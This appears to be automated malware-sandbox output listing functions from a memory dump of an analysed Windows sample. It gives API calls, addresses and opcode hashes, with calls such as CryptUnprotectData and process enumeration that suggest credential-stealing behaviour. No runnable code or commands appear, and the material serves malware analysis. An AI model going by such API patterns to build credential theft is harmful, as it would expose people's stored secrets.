Function 00527240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0052724D
RtlAllocateHeap.NTDLL(00000000), ref: 00527254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00527281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005272A4
LocalFree.KERNEL32(?), ref: 005272AE

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 4f15186b6a51a32c2d75759d1129bb19f1a8187107a560fc506914493202ee2f
Instruction ID: 6e0eb203b8896929a74a4a72f45879dc374ad489fa45a1c274c3314e50b3ac7e
Opcode Fuzzy Hash: 4f15186b6a51a32c2d75759d1129bb19f1a8187107a560fc506914493202ee2f
Instruction Fuzzy Hash: 2B010075A40308BBDB10DFD4DD45F9D77B8BB44704F108558FB06BB2C0D6B4AA008B69

Function 00539600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0053961E
Process32First.KERNEL32(00540ACA,00000128), ref: 00539632
Process32Next.KERNEL32(00540ACA,00000128), ref: 00539647
StrCmpCA.SHLWAPI(?,00000000), ref: 0053965C
CloseHandle.KERNEL32(00540ACA), ref: 0053967A

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: be44a45e23ae87963945b8a6cf96d588aacbf74d3c79f47b474dc5041d9b8b73
Instruction ID: 3a425a8ff483956c1958d862a9acdf93708f740243d8337268a48519086c141a
Opcode Fuzzy Hash: be44a45e23ae87963945b8a6cf96d588aacbf74d3c79f47b474dc5041d9b8b73
Instruction Fuzzy Hash: 2301E9B5A01208ABCB15DFA5C949BEDBBF8FB48300F108198E90AA7250D7B4AA44DF51

Function 00538EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00525184,40000001,00000000,00000000,?,00525184), ref: 00538EC0

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 96e18545ac29e53934e9f32bd87ddbe67c63cceb366ecffaea64fa7047a12d43
Instruction ID: 246e17524bdc9e3b4191852c3819754199c085cbdde72df8c409793f71a41546
Opcode Fuzzy Hash: 96e18545ac29e53934e9f32bd87ddbe67c63cceb366ecffaea64fa7047a12d43
Instruction Fuzzy Hash: 27110674200309BFDB08CF64D884FBA3BA9BF89300F109958F91A8B250DB75E941DB64

Function 00537A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F1E230,00000000,?,00540E10,00000000,?,00000000,00000000), ref: 00537A63
RtlAllocateHeap.NTDLL(00000000), ref: 00537A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F1E230,00000000,?,00540E10,00000000,?,00000000,00000000,?), ref: 00537A7D
wsprintfA.USER32 ref: 00537AB7

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: d088702ca7d302e78d538ba8090180e76af1e570102e993b9934d08ad979eb82
Instruction ID: 3d0aa0d8190da868bb9d024157b3dea37e44fb5126bda64636e32dc6d955070a
Opcode Fuzzy Hash: d088702ca7d302e78d538ba8090180e76af1e570102e993b9934d08ad979eb82
Instruction Fuzzy Hash: 45115EB1D45218EBEB208B54DC49FA9BB78FB44721F10479AE91AA32C0D7785A40CF55

Function 008F1724 Relevance: 5.7, Strings: 4, Instructions: 705COMMON

Download Yara Rule

Strings

;E3y, xrefs: 008F1B06
6T5, xrefs: 008F1E50
;E3y, xrefs: 008F1AB3
U8wW, xrefs: 008F1AE5

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6T5$;E3y$;E3y$U8wW
API String ID: 0-3404926838
Opcode ID: 8058474ec1ce7c49e85bc6d7c14af39c7a1a451cadfe397b84ab1e271580ba63
Instruction ID: 56a1b1e31ac6269ed58f95f3686d05aeccd67e06f515ea3dcd41d35a9549212b
Opcode Fuzzy Hash: 8058474ec1ce7c49e85bc6d7c14af39c7a1a451cadfe397b84ab1e271580ba63
Instruction Fuzzy Hash: 9B2218B3608304AFE3046E29EC8567AFBE9EFD4720F1A893DE6C583744E63558418797

Function 00533720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0053E118,00000000,00000001,0053E108,00000000), ref: 00533758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005337B0

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 22d97db9422d4450d1141ce61c2b94224c9800bf7b5820c8fa0c4dcd30f926c0
Instruction ID: 28ebdba260c2c14c33d24dab5e6cba0dfb7c9531d6a26e27adfa75683d264fcb
Opcode Fuzzy Hash: 22d97db9422d4450d1141ce61c2b94224c9800bf7b5820c8fa0c4dcd30f926c0
Instruction Fuzzy Hash: D441C971A40A189FDB24DB58CC95F9BB7B5BB48702F4081D8E609A72D0E7B16E85CF50

Function 00529B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00529B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00529BA3
LocalFree.KERNEL32(?), ref: 00529BD3

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 2ddd73496c080bb16c737f0d59c7126f9ecd676965c880c83260e22712b941f9
Instruction ID: b5aaa5593582bbe0c0fc79eb64ef7a18e21db75315931fa92ad0572f7f74143f
Opcode Fuzzy Hash: 2ddd73496c080bb16c737f0d59c7126f9ecd676965c880c83260e22712b941f9
Instruction Fuzzy Hash: 5211BAB5A00209EFDB04DFA4D985AAE77B5FF89300F108568E915A7390D774AE10CFA1

Function 008F6A3C Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf516360c5efd95761e9da725b754fb6fc3e7c42feeb284b6615bc0c5ea61d7
Instruction ID: 1562b2c5f23814f84dc142810cb94cc5eab442977b499f53f7660c1196ee70b8
Opcode Fuzzy Hash: daf516360c5efd95761e9da725b754fb6fc3e7c42feeb284b6615bc0c5ea61d7
Instruction Fuzzy Hash: 6C02D2B260C3049FD304AE2DEC8567AF7E9EF94720F16892DE6C5C3740EA7598418B97

Function 00845C0E Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e016ac3f1ffcc842ec64628bf994e6e48bfdae23128839ceecde48ea11176d31
Instruction ID: 6b4eea347bc871301658c7e54740b871ef5d2dc7381f6f943afe52dfe433ee6c
Opcode Fuzzy Hash: e016ac3f1ffcc842ec64628bf994e6e48bfdae23128839ceecde48ea11176d31
Instruction Fuzzy Hash: 3A61D7F3A086009FF7046E29DC4576AB7D5EB94320F27893DE7D883780E97958418796

Function 008B9D55 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f057097bb0ddde9b7c16f223c8a34caab719a43a6d549b26fbfd0258503a6ce
Instruction ID: bed4f390d6e794f19e5b0c68f57a717cb14a62980412bd4435e41678a0026672
Opcode Fuzzy Hash: 5f057097bb0ddde9b7c16f223c8a34caab719a43a6d549b26fbfd0258503a6ce
Instruction Fuzzy Hash: 72512AF3B186045BE304AA2DDC8577AB6D6DFC4310F29C53DABC8C7794E93948058696

Function 007E6D0B Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b1a2ab654f944f9ba81e96f201e8de7c7942d456a19f41500d719d43c140ff8
Instruction ID: a37a6fa0ac7d04b84a8c913ac8bd1bd2595b2a3577d65735c2850111c3e7a046
Opcode Fuzzy Hash: 9b1a2ab654f944f9ba81e96f201e8de7c7942d456a19f41500d719d43c140ff8
Instruction Fuzzy Hash: B05137F39086009FE304AE29DC8576BFBE9EB84710F2B863DDAD483744E6355845C693

Function 00842363 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bce5ee2e2da3ea921bd9a2e10f7596d3a8956ae5b3e84b7701949dafea55a74
Instruction ID: f725b61aff7431c51755901f5cb901ee274ed9dca649d03251761e45a3faddc9
Opcode Fuzzy Hash: 1bce5ee2e2da3ea921bd9a2e10f7596d3a8956ae5b3e84b7701949dafea55a74
Instruction Fuzzy Hash: A04124F3E14510ABF718AA29DC4576AB6D6DFD4320F2B843CDB8897784E93988058686

Function 007BC0B9 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
